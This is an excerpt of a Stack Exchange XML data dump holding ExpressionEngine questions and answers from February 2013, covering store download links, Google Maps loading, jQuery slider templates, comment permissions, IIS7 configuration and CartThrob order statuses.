  <row Id="6419" PostTypeId="1" CreationDate="2013-02-15T16:23:49.800" Score="2" ViewCount="215" Body="&lt;p&gt;I must be missing something obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to add a downloadable product in Expresso Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel with a custom file filed {products_download} as well as the Store Product Details field&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create the entry, upload the file, then after I purchase the product there is no link to download on my order page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Order Summary / Tax Invoice&amp;lt;/h2&amp;gt;&#xA;{exp:store:orders member_id=&quot;CURRENT_USER&quot;}&#xA;&amp;lt;h1&amp;gt;Thank you for your Order:&amp;lt;/h1&amp;gt;&#xA;&#xA;&amp;lt;h2&amp;gt;Ordered Items:&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    {items}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;h3&amp;gt;{title} -- {price}&amp;lt;/h3&amp;gt;&#xA;        {exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;            {exp:store:download url=&quot;{products_download}&quot;}&#xA;                Download&#xA;            {/exp:store:download}&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/li&amp;gt;&#xA;    {/items}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above outputs the title and price fine, just not the link to download&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE ver 2.4&#xA;Store ver 1.6.2&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="150" LastEditDate="2013-02-15T19:46:38.347" LastActivityDate="2013-02-15T19:46:38.347" Title="Expresso Store Downloads" Tags="|expresso-store|file-uploads|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6420" PostTypeId="1" AcceptedAnswerId="6426" CreationDate="2013-02-15T16:42:57.490" Score="2" ViewCount="249" Body="&lt;p&gt;I recently switched from MX Google maps, to Google Maps for EE, and so far it's been pretty good. I do however just have a couple of issues that I hope I can fix up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a map within a safecracker form, for users to plot a marker so I can capture location data within the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have applied some custom css to the map in order to get it to fit in with my site design, however, when the page is first loaded, the map does not show straight away, and the Geocoder form elements are un-styled. After a second or two it kicks in and looks fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;goes from this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lfyNI.png&quot; alt=&quot;map loading&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;until a few seconds later when it shows like this....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ukhjj.png&quot; alt=&quot;map shows&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now is there anything I can do to either prevent this happening, or at least mask it whilst it loads?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, if the user plots a marker, but tries to submit the form with other fields that still need filling in, the form reloads, shows the other errors, but the map fails to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YAMKZ.png&quot; alt=&quot;no map&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-02-15T18:14:35.727" Title="Couple of Google Maps for EE questions" Tags="|safecracker|google-maps|google-maps-for-ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6421" PostTypeId="1" CreationDate="2013-02-15T16:56:28.610" Score="0" ViewCount="255" Body="&lt;p&gt;I've used Channel Files(DevDemon) field to upload files and list them with obfuscated links on the front end successfully. But on a new site I need to group files and give them headings. Channel Files allows grouping by category, but the client can't add categories on the fly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display the files on the front end similar to this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yrM4W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how I can do this? Will the Assets plugin allow me to do this? Thanks for any ideas.&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-02-15T17:49:03.003" Title="Looking for a way for clients to upload files, need obfuscated links on front-end and need to group files with headings" Tags="|assets|file-uploads|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6422" PostTypeId="2" ParentId="6419" CreationDate="2013-02-15T16:57:16.693" Score="1" Body="&lt;p&gt;This was it: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;    {exp:store:download url=&quot;{products_download}&quot; order_id=&quot;{order_id}&quot;}&#xA;        Download&#xA;    {/exp:store:download}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks John&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="150" LastEditDate="2013-02-15T19:46:18.783" LastActivityDate="2013-02-15T19:46:18.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6423" PostTypeId="2" ParentId="6421" CreationDate="2013-02-15T17:49:03.003" Score="3" Body="&lt;p&gt;Well, if you don't need all of that functionality in a single add-on, you can obfuscate your links (and track the downloads, etc) using &lt;a href=&quot;http://devot-ee.com/add-ons/link-vault&quot; rel=&quot;nofollow&quot;&gt;Link Vault&lt;/a&gt;, which pretty much works with any file field.&lt;/p&gt;&#xA;" OwnerUserId="380" LastActivityDate="2013-02-15T17:49:03.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6424" PostTypeId="1" AcceptedAnswerId="6428" CreationDate="2013-02-15T18:04:18.943" Score="4" ViewCount="375" Body="&lt;p&gt;I'm currently trying (without much luck) to properly integrate the &lt;a href=&quot;http://www.responsivejqueryslider.com/thumbnails_banner_skin_simple_effect_random.html&quot; rel=&quot;nofollow&quot;&gt; Allinone Thumbnail Banner &lt;/a&gt; into an EE template.  I use CE Img with Matrix to feed the images.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original Allinone Html looks like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;containingDiv&quot;&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;div id=&quot;allinone_thumbnailsBanner_simple&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;            &amp;lt;ul class=&quot;allinone_thumbnailsBanner_list&quot;&amp;gt;&#xA;                &amp;lt;!-- IMAGES --&amp;gt;&#xA;                &amp;lt;li data-bottom-thumb=&quot;images/simple/thumbs/01_simple.jpg&quot; data-text-id=&quot;#allinone_thumbnailsBanner_photoText1&quot;&amp;gt;&amp;lt;img src=&quot;images/simple/01_simple.jpg&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li data-bottom-thumb=&quot;images/simple/thumbs/02_simple.jpg&quot; data-text-id=&quot;#allinone_thumbnailsBanner_photoText2&quot;&amp;gt;&amp;lt;img src=&quot;images/simple/02_simple.jpg&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li data-bottom-thumb=&quot;images/simple/thumbs/03_simple.jpg&quot; data-text-id=&quot;#allinone_thumbnailsBanner_photoText3&quot;&amp;gt;&amp;lt;img src=&quot;images/simple/03_simple.jpg&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;           &amp;lt;/ul&amp;gt; &#xA;&#xA;&#xA;&#xA;            &amp;lt;!-- TEXTS --&amp;gt;&#xA;&#xA;&#xA;           &amp;lt;div id=&quot;allinone_thumbnailsBanner_photoText1&quot; class=&quot;allinone_thumbnailsBanner_texts&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;allinone_thumbnailsBanner_text_line textElement11_simpleResponsive&quot; data-initial-left=&quot;0&quot; data-initial-top=&quot;60&quot; data-final-left=&quot;0&quot; data-final-top=&quot;305&quot; data-duration=&quot;0.5&quot; data-fade-start=&quot;0&quot; data-delay=&quot;0&quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;UP TO &amp;lt;a href=&quot;http://codecanyon.net/user/LambertGroup&quot; target=&quot;_blank&quot;&amp;gt;4 TYPES&amp;lt;/a&amp;gt; OF SLIDERS&amp;lt;br /&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;Each with multiple SKINS&amp;lt;/div&amp;gt;&#xA;           &amp;lt;/div&amp;gt;       &#xA;&#xA;           &amp;lt;div id=&quot;allinone_thumbnailsBanner_photoText2&quot; class=&quot;allinone_thumbnailsBanner_texts&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;allinone_thumbnailsBanner_text_line textElement21_simpleResponsive&quot; data-initial-left=&quot;200&quot; data-initial-top=&quot;60&quot; data-final-left=&quot;45&quot; data-final-top=&quot;60&quot; data-duration=&quot;0.5&quot; data-fade-start=&quot;0&quot; data-delay=&quot;0&quot;&amp;gt;&amp;lt;span style=&quot;font-weight:bold;&quot;&amp;gt;16 TRANSITION EFFECTS&amp;lt;br /&amp;gt; FOR IMAGES&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;optional can set the transition&amp;lt;br /&amp;gt; for each image&amp;lt;/div&amp;gt;   &#xA;           &amp;lt;/div&amp;gt;  &#xA;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;--Where the Images are the thumbs and displayed image.  And the Texts are the subtitles for each image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is as far as I could get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;div id=&quot;containingDiv&quot;&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;div id=&quot;allinone_thumbnailsBanner_simple&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;&#xA;          &amp;lt;ul class=&quot;allinone_thumbnailsBanner_list&quot;&amp;gt;&#xA;            &amp;lt;!-- IMAGES --&amp;gt;&#xA;            {exp:channel:entries channel=&quot;top_photos|gallery|recent&quot; limit=&quot;8&quot; offset=&quot;1&quot; status=&quot;Open|fixed&quot;}&#xA;&#xA;           {article_images} &#xA;&#xA;             &amp;lt;li data-bottom-thumb=&quot;{image_matrix_image}&quot; data-text-id=&quot;#allinone_thumbnailsBanner_photoText1&quot;&amp;gt;&#xA;&#xA;              {exp:ce_img:single src=&quot;{image_matrix_image}&quot; disable_xss_check=&quot;yes&quot; width=&quot;960&quot; height=&quot;500&quot; allow_scale_larger=&quot;yes&quot; crop=&quot;yes&quot; quality=&quot;60&quot;}&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;                        &amp;lt;div id=&quot;allinone_thumbnailsBanner_photoText1&quot;     class=&quot;allinone_thumbnailsBanner_texts&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;allinone_thumbnailsBanner_text_line textElement11_simpleResponsive&quot;  &amp;lt;a href=&quot;{site_url}{channel_short_name}/view/{url_title}&quot;  &quot;{image_matrix_cutline}&quot;&amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt;&#xA;                   &amp;lt;/div&amp;gt;&#xA;&#xA;                {/article_images} &#xA;&#xA;     {/exp:channel:entries}&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;       &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;    &amp;lt;/div&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I still can't display the subtexts for the images properly or at all. And I know I've heard something about using the {row_count} variable along with the div classes but I haven't had any luck with that either.    I would appreciate any hints as how to go about EE'ing up jquery Html and the classes.   Thanks in advance.             &lt;/p&gt;&#xA;" OwnerUserId="337" LastActivityDate="2013-02-15T20:00:40.853" Title="How would I go about integrating a jquery slider in EE with CE Img?" Tags="|ee2|matrix|jquery|.html|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6425" PostTypeId="1" AcceptedAnswerId="6432" CreationDate="2013-02-15T18:11:41.187" Score="2" ViewCount="147" Body="&lt;p&gt;I've set up my templates to add in-place comment editing and deletion. It's working great, and should be a useful feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However: Now that I'm ready to roll it out I'm attempting to test it with non-Super Admin users… and they can't see the Edit and Delete buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code in question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if can_moderate_comment}&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;edit-link&quot;&amp;gt;Edit&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;mod-link&quot;&amp;gt;Delete&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I've also tried &lt;code&gt;if editable&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The editing time limit is 0 (I tried setting it to something other than 0 without results).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's obviously a permissions thing. but I can't find any combination of Member Group permissions that lets a Member see the Edit/Delete buttons on their own posts, but not on every other comment as well. I think I've tried just about every combination you can make in the Comment Administration section.&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2013-02-15T20:33:20.517" Title="Member Group permissions and editing comments — can't get it to work" Tags="|members|comments|permissions|groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6426" PostTypeId="2" ParentId="6420" CreationDate="2013-02-15T18:14:35.727" Score="1" Body="&lt;p&gt;Unfortunately, I don't think there is anything you can do. The issue is EE is extremely inefficient at serving JavaScript. In fact, that's one of EE's weakest links is the poor JavaScript support across the board. Essentially each fieldtype loads its own JS, and it takes time to run all these requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chris Imrie wrote a nice little library for RequireJS that auto-loads this stuff asynchronously. I have added support to Google Maps, but this is still somewhat experimental. Sometimes it works well for me, other times there are JS conflicts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ckimrie/RequireJS-for-EE&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ckimrie/RequireJS-for-EE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the user submission with errors, that is new to me. Everything works fine on my end regarding that, but I will run some tests to make sure it's working locally on my end. One option would be to duplicate this error, and take a screenshot of your JavaScript error console in Chrome. If the map fails to load, it's almost always a JS error of some kind.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-02-15T18:14:35.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6427" PostTypeId="2" ParentId="6386" CreationDate="2013-02-15T18:25:53.967" Score="4" Body="&lt;p&gt;Let's put this another way - with EE you don't just &quot;change the site theme&quot;.  Instead you &quot;re-implement the site using different front-end code&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no easy way, EE just doesn't work that way.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2013-02-15T18:25:53.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6428" PostTypeId="2" ParentId="6424" CreationDate="2013-02-15T19:14:28.337" Score="7" Body="&lt;p&gt;It's a little tricky to help since I can't find a documentation page for the Allinone Thumbnail Banner jQuery plugin. But if I had to guess based on what the HTML output is supposed to look like, then these are the issues you are likely to be having:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The first issue is that you are not closing your &lt;code&gt;ul&lt;/code&gt; tag.&lt;/strong&gt; It needs to be closed before you output your thumbnails and captions. The simplest solution, at least to get started, is to use two channel:entries loops. One to create the list of images, the other to create the associated captions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The second issue relates to uniquely identifying your captions.&lt;/strong&gt; Since your channel:entries loop is pulling multiple entries, and thus multiple Matrix fields, &lt;code&gt;{row_count}&lt;/code&gt; will not uniquely identify your captions. You'd end up  outputing a row count of &quot;1&quot; up to eight times. This is because your channel:entries limit is set to 8 and I'm guessing all of your Matrices have at least one row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead, try using &lt;code&gt;{row_id}&lt;/code&gt; which &lt;em&gt;will&lt;/em&gt; be unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Other HTML errors:&lt;/strong&gt; It also looks like you're missing a closing bracket on the opening tags of  &lt;code&gt;div.allinone_thumbnailsBanner_text_line&lt;/code&gt; and its nested &lt;code&gt;a&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Definitely view source and/or inspect the HTML that is generated by your template and compare the &lt;em&gt;actual&lt;/em&gt; output to your desired output. In addition, running it through an HTML validator can help you catch basic errors that are easy to overlook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand your setup this should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;containingDiv&quot;&amp;gt;&#xA;&#xA;  &amp;lt;div id=&quot;allinone_thumbnailsBanner_simple&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;&#xA;    &amp;lt;ul class=&quot;allinone_thumbnailsBanner_list&quot;&amp;gt;&#xA;      {exp:channel:entries channel=&quot;top_photos|gallery|recent&quot; limit=&quot;8&quot; offset=&quot;1&quot; status=&quot;Open|fixed&quot;}&#xA;&#xA;         {article_images} &#xA;&#xA;            &amp;lt;li data-bottom-thumb=&quot;{image_matrix_image}&quot; data-text-id=&quot;#allinone_thumbnailsBanner_photoText{row_id}&quot;&amp;gt;&#xA;              {exp:ce_img:single src=&quot;{image_matrix_image}&quot; disable_xss_check=&quot;yes&quot; width=&quot;960&quot; height=&quot;500&quot; allow_scale_larger=&quot;yes&quot; crop=&quot;yes&quot; quality=&quot;60&quot;}&quot; alt=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;          {/article_images} &#xA;&#xA;      {/exp:channel:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    {exp:channel:entries channel=&quot;top_photos|gallery|recent&quot; limit=&quot;8&quot; offset=&quot;1&quot; status=&quot;Open|fixed&quot;}&#xA;&#xA;      {article_images}&#xA;&#xA;        &amp;lt;div id=&quot;allinone_thumbnailsBanner_photoText{row_id}&quot;     class=&quot;allinone_thumbnailsBanner_texts&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;allinone_thumbnailsBanner_text_line textElement11_simpleResponsive&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;{site_url}{channel_short_name}/view/{url_title}&quot;&amp;gt; &quot;{image_matrix_cutline}&quot;&amp;lt;/a&amp;gt; &#xA;          &amp;lt;/div&amp;gt;&#xA;       &amp;lt;/div&amp;gt;&#xA;&#xA;      {/article_images} &#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If this doesn't get you where you need to go, I'd recommend simplifying your template first, then build up from there.&lt;/strong&gt; This will ensure all your EE tags are working as expected and you don't have typos in your custom field names, syntax errors, or other errors of that nature. &lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-02-15T20:00:40.853" LastActivityDate="2013-02-15T20:00:40.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6429" PostTypeId="1" AcceptedAnswerId="6430" CreationDate="2013-02-15T19:51:16.687" Score="1" ViewCount="150" Body="&lt;p&gt;I am stuck again using IIS7 on a windows server. Trying to replicate the production environment for some testing on a Win7 box using IIS7 and host file to point o the sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using various methods to get a multi-server environment setup, but all have failed. This client in particular wants a development, staging, and production environment. I was looking at using Erik's setup for FocusLab (Thanks Erik!), but for this one in particular, I am trying to implement the one &lt;a href=&quot;http://jamieonsoftware.com/journal/2011/4/6/getting-to-know-expressionengine-2s-config-file.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even trying to clean up my config file seems to break the site though. I can see the site index page, but the CP is jacked. (See screen)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/riKtQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php //if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;/* ExpressionEngine Configuration&#xA;-------------------------------------------------------------------*/&#xA;$config['app_version'] = &quot;255&quot;;&#xA;$config['license_number'] = &quot;MY LICENSE&quot;;&#xA;$config['debug'] = &quot;1&quot;;&#xA;$config['install_lock'] = &quot;&quot;;&#xA;$config['system_folder'] = &quot;MY SYS&quot;;&#xA;$config['is_system_on'] = &quot;y&quot;;&#xA;$config['allow_extensions'] = &quot;y&quot;;&#xA;$config['site_url'] = &quot;http://&quot;.$_SERVER['HTTP_HOST'];&#xA;$config['server_path'] = FCPATH;&#xA;$config['cp_url'] = $config['site_url'] . '/MY SYS/';&#xA;$config['theme_folder_url'] = $config['site_url'].&quot;/themes/&quot;;&#xA;$config['theme_folder_path'] = $config['server_path'].&quot;/themes/&quot;;&#xA;$config['save_tmpl_files'] = &quot;y&quot;;&#xA;$config['tmpl_file_basepath'] = $config['server_path'].&quot;/templates/&quot;;&#xA;&#xA;/* CodeIgniter Configuration&#xA;-------------------------------------------------------------------*/&#xA;$config['base_url'] = $config['site_url'];&#xA;$config['uri_protocol'] = 'AUTO';&#xA;$config['language'] = 'english';&#xA;$config['charset'] = 'UTF-8';&#xA;$config['subclass_prefix'] = 'EE_';&#xA;$config['permitted_uri_chars'] = 'a-z 0-9~%.:_\\-';&#xA;$config['enable_query_strings'] = FALSE;&#xA;$config['directory_trigger'] = 'D';&#xA;$config['controller_trigger'] = 'C';&#xA;$config['function_trigger'] = 'M';&#xA;$config['log_threshold'] = 0;&#xA;$config['log_path'] = '';&#xA;$config['log_date_format'] = 'Y-m-d H:i:s';&#xA;$config['time_reference'] = 'local';&#xA;&#xA;/* End of file config.php */&#xA;/* Location: ./system/expressionengine/config/config.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even if I turn off the direct script access denial, I can't display FCPATH. It seems to be an issue with IIS7 and FCPATH.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I can get this going?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&#xA;I started looking at the paths that EE was trying to use and they are showing this:&#xA;    &lt;a href=&quot;http://bootstrap.com/%3C?=&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bootstrap.com/%3C?=&lt;/a&gt;$cp_avatar_path%20?%20$cp_avatar_path%20:%20$cp_theme_url.'images/site_logo.gif'?%3E&lt;/p&gt;&#xA;&#xA;&lt;p&gt;%3C is for the '&amp;lt;' character, %20 is space, and %3E is the '&gt;' character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is obviously an image being attempted to be rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason for the encoded characters showing instead?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2013-02-15T20:09:30.673" LastActivityDate="2013-02-15T20:13:00.917" Title="Development (Local) with multiple sites using host file and IIS7 - Can't get FCPATH to recognize - Encoded characters" Tags="|ee2|global-variables|iis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6430" PostTypeId="2" ParentId="6429" CreationDate="2013-02-15T20:13:00.917" Score="2" Body="&lt;p&gt;Why not use &lt;a href=&quot;http://eeinsider.com/articles/multi-server-setup-for-ee-2/&quot; rel=&quot;nofollow&quot;&gt;http://eeinsider.com/articles/multi-server-setup-for-ee-2/&lt;/a&gt; as a basis and work from there?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-02-15T20:13:00.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6431" PostTypeId="1" AcceptedAnswerId="6436" CreationDate="2013-02-15T20:15:14.107" Score="3" ViewCount="283" Body="&lt;p&gt;Occasionally after a user places an order their order is listed in the Orders Channel but the status is set to &quot;Processing&quot; then within a couple minutes there is another entry in Orders with a status of &quot;Completed&quot;.  The only consistency in the orders that have a status of &quot;Processing&quot; is that the &quot;Transaction ID&quot; field is blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently upgraded CartThrob to 2.2.9 and EE to 2.5.5 and didn't notice this issue until after the upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this possible be an issue of the user clicking the Order button twice?&lt;/p&gt;&#xA;" OwnerUserId="278" LastActivityDate="2013-02-15T22:22:03.293" Title="CartThrob order status issue" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6432" PostTypeId="2" ParentId="6425" CreationDate="2013-02-15T20:33:20.517" Score="3" Body="&lt;p&gt;I'm pretty sure the &quot;set to 0 for no limit&quot; instruction is BS. I've had success using {if editable} and setting an arbitrarily &lt;em&gt;high&lt;/em&gt; number like 9999999.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-02-15T20:33:20.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6433" PostTypeId="2" ParentId="6398" CreationDate="2013-02-15T21:33:55.933" Score="1" Body="&lt;p&gt;I would first suggest upgrading the the most recent version, 4.0.10 (as of the time of this writing.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some possible things happening:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you using .htaccess to remove or add www. to your website? If so, make sure whichever one you are redirecting to is set that way in your config file. Freeform uses EE's built in functions to build the submission URLS which in turn uses the config file's set base url. Thus, if you are redirecting with .htaccess to www, but your config is &lt;em&gt;not&lt;/em&gt; set to www.site.com/index.php or whatever, every single link built with EE is without www. and is redirecting. This means any POST variables are lost due to the redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are they loading the page and waiting multiple hours to submit it? Secure forms has a 3 hour timeout.&lt;/p&gt;&#xA;" OwnerDisplayName="user550" LastActivityDate="2013-02-15T21:33:55.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6434" PostTypeId="1" AcceptedAnswerId="6463" CreationDate="2013-02-15T22:11:34.800" Score="0" ViewCount="237" Body="&lt;p&gt;I've been working on a dev site for the past month or so. Everything was working fine. Started to upgrade the live site just now. It's pretty much all gone smoothly, except for 2 fields that are not showing on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are two P&amp;amp;T Checkbox custom fields. (Same channel). They are visible in the CP, and every entry has some options selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now on the front end where I am displaying these options, nothing is output. It's the exact same template and set up that I am using in the dev site, which is working fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure where to start trying or testing? Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="563" LastEditDate="2013-02-15T22:33:37.607" LastActivityDate="2013-02-17T18:57:44.837" Title="P&amp;T Checkbox field not outputting on site?" Tags="|custom-fields|pixelandtonic|pt-checkboxes|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6435" PostTypeId="1" AcceptedAnswerId="6439" CreationDate="2013-02-15T22:18:22.097" Score="2" ViewCount="55" Body="&lt;p&gt;I'm updating an EE1 site to v2, but first I need to get it set up on my local server. The homepage and control panel are working great, but every URL on the site displays the homepage template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what additional information would be useful here, please let me know and I'll post it, thanks!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 1.6.8&lt;/li&gt;&#xA;&lt;li&gt;Structure 1.3.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-02-15T22:32:09.247" Title="EE1 - Every URL Displays Homepage" Tags="|url|ee1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
